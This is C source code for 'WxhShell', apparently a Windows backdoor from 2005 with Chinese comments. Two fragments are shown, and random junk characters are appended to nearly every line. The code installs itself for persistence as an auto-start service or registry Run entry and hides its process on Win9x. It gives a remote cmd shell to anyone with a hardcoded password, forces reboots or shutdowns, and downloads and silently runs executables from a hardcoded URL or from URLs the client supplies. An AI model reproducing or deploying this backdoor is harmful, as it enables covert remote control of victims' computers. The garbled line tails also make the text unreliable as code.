    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ogL EtqT  
    if(Boot(SHUTDOWN)) cU{e`<xjA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7<%<Ff@^)O  
    else { U f|> (C  
    closesocket(wsh); .C2TQ:B,.  
    ExitThread(0); kGd<5vCs  
    } iXj o[Rz^C  
    break; krsYog(^z  
    } M7ers|&{  
  // 获取shell 0PU8 #2pR  
  case 's': { UlAzJO6"  
    CmdShell(wsh); ?;vgUO  
    closesocket(wsh); Mk=mT3=#  
    ExitThread(0); vC1v"L;[o/  
    break; TjHwjRa  
  } ,0E{h}(  
  // 退出 ZQ_xDKqRV  
  case 'x': { z)z{3rR|PW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ccLq+a|  
    CloseIt(wsh); d?:=PH  
    break; a@\D$#2r  
    } Pu"R,a  
  // 离开 EhO|~A*R  
  case 'q': { E<C&Cjz:H  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U Z|HJ8_  
    closesocket(wsh); dbOdq  
    WSACleanup(); FXzFHU/dP  
    exit(1); \MjJ9u `8  
    break; NPd%M  
        } =JKv:</.G  
  } mt5KbA>nU  
  } /9zE^YcT  
V5GW:QT  
  // 提示信息 Tszp3,]f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 34wkzu  
} {dL?rQ>5L  
  } 94 e): jS  
"y_#7K  
  return; %H]lGN)  
} X=Ys<TM,  
q^A+<d  
// shell模块句柄 3,]gEE3  
int CmdShell(SOCKET sock) m;D- u>o  
{ Wm);C~Le  
STARTUPINFO si; $KLD2BAL  
ZeroMemory(&si,sizeof(si)); mwY IJy[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J?Dq>%+ ^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; # eCjn  
PROCESS_INFORMATION ProcessInfo; *P 3V  
char cmdline[]="cmd"; :^Fh!br==  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oyNSh8c7c  
  return 0; C_4)=#@GU  
} ++aL4:  
B*~5)}1op  
// 自身启动模式 NvHJ3>"%  
int StartFromService(void) BWrv%7  
{ !2z?YZhu  
typedef struct : C b&v07  
{ \mw(cM#:  
  DWORD ExitStatus; -0_d/'d  
  DWORD PebBaseAddress; IBQ@{QB  
  DWORD AffinityMask; 5*E#*H  
  DWORD BasePriority; \MK*by  
  ULONG UniqueProcessId; 6gT5O]]#o  
  ULONG InheritedFromUniqueProcessId; B9T!j]'  
}   PROCESS_BASIC_INFORMATION; Rb%%?*|  
cuK,X!O  
PROCNTQSIP NtQueryInformationProcess; RPIyO  
,SQZD,3v4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YKbaf(K )9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; P%#*-zCCx  
'Fs)Rx}\0  
  HANDLE             hProcess; KAsS [  
  PROCESS_BASIC_INFORMATION pbi; *1 G>YH  
p_UlK8rb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uA$<\fnz  
  if(NULL == hInst ) return 0; m85WA # `  
?x+Z)`w_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O/.Uh`T`6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *dvDap|8W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8a_[B~  
xB@|LtdO9;  
  if (!NtQueryInformationProcess) return 0; { .*y  
uP<0WCN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WHAQu]{  
  if(!hProcess) return 0; pSm $FBW h  
% , N<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0<8XI>.3D  
70lfb`  
  CloseHandle(hProcess); v^ /Q 8Q  
 .AYj'Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @"Z7nJX  
if(hProcess==NULL) return 0; :> &fV  
<\0vR20/  
HMODULE hMod; TZt jbD>B  
char procName[255]; >7roe []-|  
unsigned long cbNeeded; e5.h ?  
aA'|Rg,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Oky**B[D'  
FSRm|  
  CloseHandle(hProcess); u7xDau(c  
, =aJVb=C  
if(strstr(procName,"services")) return 1; // 以服务启动 ifo7%XPcg  
RJy=pNztm  
  return 0; // 注册表启动 VR  
} ltkI}h,e  
S}f?.7  
// 主模块 =C L} $_  
int StartWxhshell(LPSTR lpCmdLine) 1yV: qp  
{ wZ4tCZA  
  SOCKET wsl; sz @p_Z/  
BOOL val=TRUE; 2kv7UU#q2  
  int port=0; DfV~!bY  
  struct sockaddr_in door; L{E^?iX  
wBQF~WY  
  if(wscfg.ws_autoins) Install(); * ,v|y6  
jqH3J2L  
port=atoi(lpCmdLine); U:MPgtwe  
G60R9y47c  
if(port<=0) port=wscfg.ws_port; or k=`};  
/T,Z>R  
  WSADATA data; x!_<z''  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4lqH8l.  
 6l$L~>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   lCF `*DM#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SxK:]Aw  
  door.sin_family = AF_INET; \uME+NF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +[J/Zw0{  
  door.sin_port = htons(port); Fkf97Oi  
BYY RoE[P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { : L_BG)dM  
closesocket(wsl); pxSX#S6I  
return 1; `z0{S!  
} XE3'`D !  
,Rx{yf]k  
  if(listen(wsl,2) == INVALID_SOCKET) { dq IlD!  
closesocket(wsl); eZr&x~] -w  
return 1; =<@\,xN>C  
} UZEI:k,dv  
  Wxhshell(wsl); JlKM+UE :  
  WSACleanup(); +,v-=~5  
<!pQ  
return 0; &TG5rUUg  
7O`o ovW$  
} ](eN@Xi&@  
SEl#FWR  
// 以NT服务方式启动 u*7Z~R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kkvtB<<Y  
{ \([WH!7  
DWORD   status = 0; r-kMLw/)  
  DWORD   specificError = 0xfffffff; GHF_R,7  
o$C| J]%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?R-9W+U%f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6DL[ aD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #k<":O  
  serviceStatus.dwWin32ExitCode     = 0; _MWM;f`b  
  serviceStatus.dwServiceSpecificExitCode = 0; j#0j)k2Q  
  serviceStatus.dwCheckPoint       = 0; 7Z UiY  
  serviceStatus.dwWaitHint       = 0; y<XlRTy[}  
+%N KQ'49I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =e><z9hY  
  if (hServiceStatusHandle==0) return; L:M0pk{T  
 q{die[J  
status = GetLastError(); *2}O-e  
  if (status!=NO_ERROR) k>E`s<3  
{ |3K)$.6~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .$", *d  
    serviceStatus.dwCheckPoint       = 0; x'Pi5NRE  
    serviceStatus.dwWaitHint       = 0; >QHo@Zqj(  
    serviceStatus.dwWin32ExitCode     = status; Gg\G'QU  
    serviceStatus.dwServiceSpecificExitCode = specificError; XT,#g-oi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u@p?  
    return; )'Wb&A'  
  } M}DH5H"s  
@c'|Iqy`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0aR,H[r[?  
  serviceStatus.dwCheckPoint       = 0; JK#vkCkyM  
  serviceStatus.dwWaitHint       = 0; Ufo>|A6;$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zH=!*[d8  
} qQ7w&9r.M  
69kJC/1+l  
// 处理NT服务事件,比如:启动、停止 w:o-klKXY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iRG?# "  
{ Je4Z(kj 0  
switch(fdwControl) ^*R(!P^  
{ rVQX7l#YI  
case SERVICE_CONTROL_STOP: rOD1_X-  
  serviceStatus.dwWin32ExitCode = 0; {dPgf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %lr|xX  
  serviceStatus.dwCheckPoint   = 0; RA a[t :|  
  serviceStatus.dwWaitHint     = 0; kqvow3u  
  { ,J mbqOV?!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J NC  
  } n,P5o_^:  
  return; iy\KzoB  
case SERVICE_CONTROL_PAUSE:  17hTr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \g-j9|0  
  break; ,`td@Y  
case SERVICE_CONTROL_CONTINUE: g"Q h]:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5;)*T6Y  
  break; %Hi~aRz  
case SERVICE_CONTROL_INTERROGATE: |!d"*.Q@F  
  break; =A[5= k>  
}; tPHS98y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DE{h5-g  
} ZF#Rej?  
o%M<-l"!/  
// 标准应用程序主函数 F5gObIJtuY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Jx-wO/  
{ m:`@?n~..  
`PI(%N  
// 获取操作系统版本 XeUC0K[D  
OsIsNt=GetOsVer(); daZQz"PP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )_jSG5k  
ned2lC&'d>  
  // 从命令行安装 K2'O]#  
  if(strpbrk(lpCmdLine,"iI")) Install(); RE46k`44  
V7=SV:+1or  
  // 下载执行文件 ]!YtH]}  
if(wscfg.ws_downexe) { e[Xq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Zu<]bv  
  WinExec(wscfg.ws_filenam,SW_HIDE); (7$$;  
} Az*KsY{/r  
j!#O G  
if(!OsIsNt) { CfT/R/L  
// 如果时win9x,隐藏进程并且设置为注册表启动 f1{z~i9@$  
HideProc(); H*e'Cs/  
StartWxhshell(lpCmdLine); {LE&ylE  
} "Q+83adY4x  
else s<T?pH  
  if(StartFromService())  ((DzUyK  
  // 以服务方式启动 X=p"5hhfn  
  StartServiceCtrlDispatcher(DispatchTable); c^I0y!  
else #] KgUc5B  
  // 普通方式启动 8IY19>4'5J  
  StartWxhshell(lpCmdLine); yOHXY&  
K <`>O, F  
return 0; e(\I_  
} ;q#]-^  
fu\s`W6f&  
iL?iz?+.%@  
gp< =Gmd  
=========================================== Jj"HpK>[  
v ahoSc;sw  
eG] a zt  
wODvc9p}]  
hCc0sRp  
O+ .*lo  
" QocQowz  
D$Kea  
#include <stdio.h> W3pQ?  
#include <string.h> H/cTJ9zz  
#include <windows.h> h_ ! >yK  
#include <winsock2.h> Q .RO  
#include <winsvc.h> d!{7r7ob\  
#include <urlmon.h> :\}U9QfCw  
#1Z7&#R/  
#pragma comment (lib, "Ws2_32.lib") ,-#GX{!  
#pragma comment (lib, "urlmon.lib") `<vxG4=62\  
we]>(|  
#define MAX_USER   100 // 最大客户端连接数 o42`z>~  
#define BUF_SOCK   200 // sock buffer H7IW"UkBR  
#define KEY_BUFF   255 // 输入 buffer {7#03k  
WfVMdwz=  
#define REBOOT     0   // 重启 h W.2p+  
#define SHUTDOWN   1   // 关机 C|e+0aW  
`1'5j "v  
#define DEF_PORT   5000 // 监听端口 9&jPp4qG  
^Vo"fI`=C  
#define REG_LEN     16   // 注册表键长度 fD6GQ*  
#define SVC_LEN     80   // NT服务名长度 E/ O5e(h  
E 5kF^P  
// 从dll定义API PW[6/7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ju{%'D!d9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !$kR ;Q"/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jXcNAl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B?(4f2yE  
oX|?:MS:  
// wxhshell配置信息 O-GxUHwW r  
struct WSCFG { %Y',|+Arx  
  int ws_port;         // 监听端口 z}APR@?`n8  
  char ws_passstr[REG_LEN]; // 口令 P/ aDd@j  
  int ws_autoins;       // 安装标记, 1=yes 0=no t.=Oj  
  char ws_regname[REG_LEN]; // 注册表键名 5+L8\V9;  
  char ws_svcname[REG_LEN]; // 服务名 :('I)C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GXeAe}T  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HF4Lqh'oco  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s-6:N9-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B7 c[ 4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .Ty,_3+{#p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vipp /WV  
~I$}#  
}; =R9*;6?N  
8-A|C< "  
// default Wxhshell configuration SfDQ;1?  
struct WSCFG wscfg={DEF_PORT, VK4/82@5  
    "xuhuanlingzhe", 8ui=2k(  
    1, TG]}X\c+V|  
    "Wxhshell", nEVbfNo0  
    "Wxhshell", (Jpm KO  
            "WxhShell Service", lPS*-p#IZ  
    "Wrsky Windows CmdShell Service", &7][@v  
    "Please Input Your Password: ", /co%:}ln  
  1, 0M\NS$u(Y  
  "http://www.wrsky.com/wxhshell.exe", 3H'*?|Y(#  
  "Wxhshell.exe" FfXZ|o$;  
    }; `vEqj v  
DB8s  
// 消息定义模块 1f;or_f#k?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UPO^V:.R4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ysth{[<5F3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5&(3A|P2  
char *msg_ws_ext="\n\rExit."; \3j)>u,r  
char *msg_ws_end="\n\rQuit."; hho%~^bn(  
char *msg_ws_boot="\n\rReboot..."; jZ#UUnR%  
char *msg_ws_poff="\n\rShutdown..."; (6-y+ LG  
char *msg_ws_down="\n\rSave to "; Lh!z>IWjOG  
5mIXyg 0:  
char *msg_ws_err="\n\rErr!"; sY^lQN  
char *msg_ws_ok="\n\rOK!"; Bm<^rhJ9  
9l l|JeNi  
char ExeFile[MAX_PATH]; 'a_s%{BJXg  
int nUser = 0; qb$_xIQpDL  
HANDLE handles[MAX_USER]; 8r^j P.V  
int OsIsNt; r#I>_Utsy  
u\w2S4c  
SERVICE_STATUS       serviceStatus; J!<#Nc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "OJr*B  
=M7PvH'"  
// 函数声明 Mk "vv k  
int Install(void); #^; s<YZ`  
int Uninstall(void); MLeX;He  
int DownloadFile(char *sURL, SOCKET wsh); `:3&@.{T(  
int Boot(int flag); {g@A>  
void HideProc(void); j`Nh7+qs  
int GetOsVer(void); ITQ9(W Un  
int Wxhshell(SOCKET wsl); kYtHX~@  
void TalkWithClient(void *cs); ,4yG(O$)  
int CmdShell(SOCKET sock); -$m@*L  
int StartFromService(void); Zly-\ z_  
int StartWxhshell(LPSTR lpCmdLine); 3FY_A(+  
qAORWc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,5kvn   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xv&S[=Dt  
oB}K[3uB:t  
// 数据结构和表定义 LV\ieM  
SERVICE_TABLE_ENTRY DispatchTable[] = We\Y \*!v  
{ A?' H[2]w"  
{wscfg.ws_svcname, NTServiceMain}, &/DOO ^  
{NULL, NULL} i\vpGlx  
}; Z?C4a }  
w Oj88J)  
// 自我安装 &58 {  
int Install(void) V0S6M^\DK  
{ Z !Z,M' "  
  char svExeFile[MAX_PATH]; F`3^wHw^  
  HKEY key; QSv^l-<  
  strcpy(svExeFile,ExeFile); lT3|D?sF  
5Abz 5-^KH  
// 如果是win9x系统,修改注册表设为自启动 l\Cu1r-z  
if(!OsIsNt) { /khnl9~+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ik1XGFy?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?4MSgu  
  RegCloseKey(key); HoV{Uzm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ysl8LK   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i<Q& D\Pv  
  RegCloseKey(key); OMi02tSm  
  return 0; p&QmIX]BZ  
    } /t$*W\PL@  
  } e6o/q)9#  
} hi0XVC95  
else { B#Qpd7E+*  
(< :mM  
// 如果是NT以上系统,安装为系统服务 |;~nI'0O])  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p!QR3k.9s  
if (schSCManager!=0) 5'62ulwMP=  
{ NQg'|Pt(%  
  SC_HANDLE schService = CreateService b24di  
  ( wFp~  
  schSCManager, 2*Va9HP!q  
  wscfg.ws_svcname, f@h2;An$w  
  wscfg.ws_svcdisp, [' ?^>jfr  
  SERVICE_ALL_ACCESS, gh'kUZG a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xSdN5RN  
  SERVICE_AUTO_START, 98h :X%  
  SERVICE_ERROR_NORMAL, @|E;}:?u  
  svExeFile, Lp!0H `L  
  NULL, |$Qp0vOA}  
  NULL, ,RR;VKj  
  NULL, Oe/73| >U  
  NULL, xSx&79Ez<*  
  NULL pmoGudaRF  
  ); :&qC<UD  
  if (schService!=0) gO9'q='5l  
  { u/;_?zI  
  CloseServiceHandle(schService); cl@kRX<7'  
  CloseServiceHandle(schSCManager); FoQ?U=er  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4v0dd p  
  strcat(svExeFile,wscfg.ws_svcname); KUlB2Fqi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ko4)0&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {qY3L8b  
  RegCloseKey(key); 'w'Dwqhmr  
  return 0; U 7EHBW  
    } H]VsOr  
  } f 5mY;z"  
  CloseServiceHandle(schSCManager); -e &$,R>;  
} @;g`+:=  
} sE^ns\&QP=  
=.VepX|?D  
return 1; Th.3j's  
} yB 1I53E  
!?S5IGLOj  
// 自我卸载 FK-}i|di  
int Uninstall(void) wEZ,49  
{ >-UD]?>  
  HKEY key; BvSdp6z9Iv  
\)uy"+ Z`  
if(!OsIsNt) { 7E;>E9 '  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dp%5$wF)8  
  RegDeleteValue(key,wscfg.ws_regname); W]} #\\$z  
  RegCloseKey(key); u):X>??  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9)#gtDM%J  
  RegDeleteValue(key,wscfg.ws_regname); Ewa[Y=+tx  
  RegCloseKey(key); "9)1K!tH  
  return 0; Gs^(YGtU  
  } 6{cybD`Ef&  
} Bjurmo  
} X@i+&Nv"<  
else { rat=)n)"t  
GTT5<diw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); m};~JMo]  
if (schSCManager!=0) s.<olxXRW  
{ 3s3a>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 58M'r{8_  
  if (schService!=0) I[tAT[ <  
  { >&*6Fqd  
  if(DeleteService(schService)!=0) { 0Ei\VVK>  
  CloseServiceHandle(schService); +I^+k"  
  CloseServiceHandle(schSCManager); c ,Qw;  
  return 0; tVC@6Z$  
  } }K#iCby4  
  CloseServiceHandle(schService); Vww@eK%5Q  
  } ;+S2h-4  
  CloseServiceHandle(schSCManager); Z}]:x `fXd  
} pA*D/P-  
} zfk'>_'  
=4YbVA+(  
return 1; i)A`Vpn  
} _Cu[s?,kS  
OI)&vQ5k  
// 从指定url下载文件 3N(8| wh  
int DownloadFile(char *sURL, SOCKET wsh) !O 0ZD4/{4  
{ $xKg }cO  
  HRESULT hr; Se!gs>  
char seps[]= "/"; dL1~]Z y  
char *token; [d!Af4  
char *file; >VpP/Qf  
char myURL[MAX_PATH]; dM);LT8@  
char myFILE[MAX_PATH]; 0S)"Q^6n y  
Hj}g1"RA  
strcpy(myURL,sURL); z'5;f;  
  token=strtok(myURL,seps); ^4n2 -DvG  
  while(token!=NULL) .F{}~K]  
  {  9OrA9r  
    file=token; FE$M[^1_  
  token=strtok(NULL,seps); 9$B)hrJo  
  } WyKUvVi  
^N*pIVLC  
GetCurrentDirectory(MAX_PATH,myFILE); |HKHN? )  
strcat(myFILE, "\\"); 8cYuzt]..  
strcat(myFILE, file); z6GL,wo#  
  send(wsh,myFILE,strlen(myFILE),0); cP}5}+  
send(wsh,"...",3,0); C=xo&I7  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Ws:Ei{R  
  if(hr==S_OK) 842Mydom  
return 0; E9~&f^f  
else {Sd@u$&  
return 1; f~n' Ki+'  
RW|UQY#  
} Yke<Wy1  
{[(W4NAlH  
// 系统电源模块 \t&n jMWpZ  
int Boot(int flag) 0lvb{Zd  
{ -o! saX<  
  HANDLE hToken; 2c*VHIl;  
  TOKEN_PRIVILEGES tkp; mvW^P`nB  
\? 5[RR  
  if(OsIsNt) { JCCx 5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ND)M3qp2(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I(iGs I  
    tkp.PrivilegeCount = 1; i]h R7g<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =CD:.FG.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A;/Xt  
if(flag==REBOOT) { ;iwD/=Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) K284R=j -&  
  return 0; }RC. Q`b  
} 4nVO.Ud0$X  
else { (o6A?37i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K4K3< Pg  
  return 0; -7C=- \]  
} (AyRs7Dkn  
  } ( S C7m /  
  else { X:zyzEhS  
if(flag==REBOOT) { /_ hfjCE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ul5::  
  return 0; A_X^k|)T  
} IArpCF/"8  
else { O(c4iWm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %>x0*T$$  
  return 0; .q|xMS}4  
} !T&u2=`D  
} b{yH4)O  
V.E.~<7D\  
return 1; Q xj|lr  
} //4p1^%  
`"bRjC"f]  
// win9x进程隐藏模块 B4M'Er{v  
void HideProc(void) DI"dY ug#  
{ Bt`r6v;\  
/M{)k_V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7\Yq]:;O  
  if ( hKernel != NULL ) e2VL/>y`  
  { ;Kq<',u~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n=#[Mi $Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <iY 9cV|}3  
    FreeLibrary(hKernel); S4uR \|  
  } #q^>qX y  
sov62wuqU  
return; G41$oalQ1  
} G1n>@Y'j''  
})yb   
// 获取操作系统版本 .bY1N5=sz  
int GetOsVer(void) +MZ2e^\F  
{ `zvT5=*-#  
  OSVERSIONINFO winfo; u.xA}yVS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); U%S NROj  
  GetVersionEx(&winfo); O.m.]%URW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) k%bTs+] *  
  return 1; ES:p^/=*  
  else *^&iw$Qx3  
  return 0; $(<*pU  
} -^SD6l$  
s$=B~l  
// 客户端句柄模块 fjeE.  
int Wxhshell(SOCKET wsl) E rRMiT  
{ a} Iz  
  SOCKET wsh; D-;43>yi<  
  struct sockaddr_in client; BfO}4  
  DWORD myID; :Q%yW%St$  
)="g?E3  
  while(nUser<MAX_USER) 9DocId.  
{ h?O%XnD  
  int nSize=sizeof(client); }e;p8)]Wl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9"l%tq_  
  if(wsh==INVALID_SOCKET) return 1; 9i xnf=$Jp  
G#=b6DB  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); S3[oA&  
if(handles[nUser]==0) 4h2bk\z-  
  closesocket(wsh); sjgxx7  
else Q0oDl8~  
  nUser++; ZB h@%A  
  } DW;.R<8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l>Oe ,`9O  
PeR<FSF ,i  
  return 0; }Q,C;!'"  
} ^<H#dkECG  
<MDFf nj  
// 关闭 socket c9TkIe  
void CloseIt(SOCKET wsh) >5YYij5Aj  
{ Tu T=  
closesocket(wsh); @zpHem dB  
nUser--; m0K2p~  
ExitThread(0); "nS{ ;:  
} vcUM]m8k   
-1Ki7|0,  
// 客户端请求句柄 z@40 g)R2A  
void TalkWithClient(void *cs) RI].LB_  
{ Tr+Y@]"  
os0"haOI9h  
  SOCKET wsh=(SOCKET)cs; gcY~_'&u  
  char pwd[SVC_LEN]; <GU(/S!}  
  char cmd[KEY_BUFF]; [_z2z6  
char chr[1]; S&g -  
int i,j; B?>#cpW j  
c[e GpZ]  
  while (nUser < MAX_USER) { Tlv|To  
MZ#2WP)F  
if(wscfg.ws_passstr) { t3kh]2t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |x~ei_x7.p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LB 5EGw  
  //ZeroMemory(pwd,KEY_BUFF); b+fy&rk@-  
      i=0; >Sl:Z ,g;  
  while(i<SVC_LEN) { Sv[_BP\^h  
XcW3IO  
  // 设置超时 7.=s1~p  
  fd_set FdRead; "B{xC}Tw  
  struct timeval TimeOut; P) 0=@{(  
  FD_ZERO(&FdRead); +vY`?k`  
  FD_SET(wsh,&FdRead); jYssz4)tp  
  TimeOut.tv_sec=8; F_ lj>;}a5  
  TimeOut.tv_usec=0; (inwKRH  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v6(l#,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gl4 f9Ff  
)e$-B]>7z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `rFGSq$9  
  pwd=chr[0]; bqLYF[#T  
  if(chr[0]==0xd || chr[0]==0xa) { qQ\hUii  
  pwd=0; _ -FQ78C  
  break; CMB$RLf  
  } hQrsZv:Q  
  i++; ]0nC;|]@Lx  
    } MkIO0&0O  
C3 c|@7FU  
  // 如果是非法用户,关闭 socket h3 ZL0Fi*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z[I/ AORl  
} ,}$x'8v  
5Ddyb%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); `Y9}5p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UVi/Be#|  
9(\N+  
while(1) { I;PO$T  
<. ]&FPJ  
  ZeroMemory(cmd,KEY_BUFF); GoGgw]h>x  
N1zrfn-VU  
      // 自动支持客户端 telnet标准    E8V\J  
  j=0; FKTP0e7=9  
  while(j<KEY_BUFF) { $zH 0$aOx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YV+dUvz  
  cmd[j]=chr[0]; s%re>)=|  
  if(chr[0]==0xa || chr[0]==0xd) { M(gWd8?#  
  cmd[j]=0; iK23`@&% _  
  break; i]Of<eQ"  
  } (4gQe6tA  
  j++; <Gt{(is  
    } |L#r)$n{1  
J;9QDrl`  
  // 下载文件 bao5^t}  
  if(strstr(cmd,"http://")) { G~j<I/)"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); omU)hFvyS  
  if(DownloadFile(cmd,wsh)) 6>^k9cJp  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m.X+sP-e  
  else Q ?<9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !q1^X% a  
  } YZ+g<HXB  
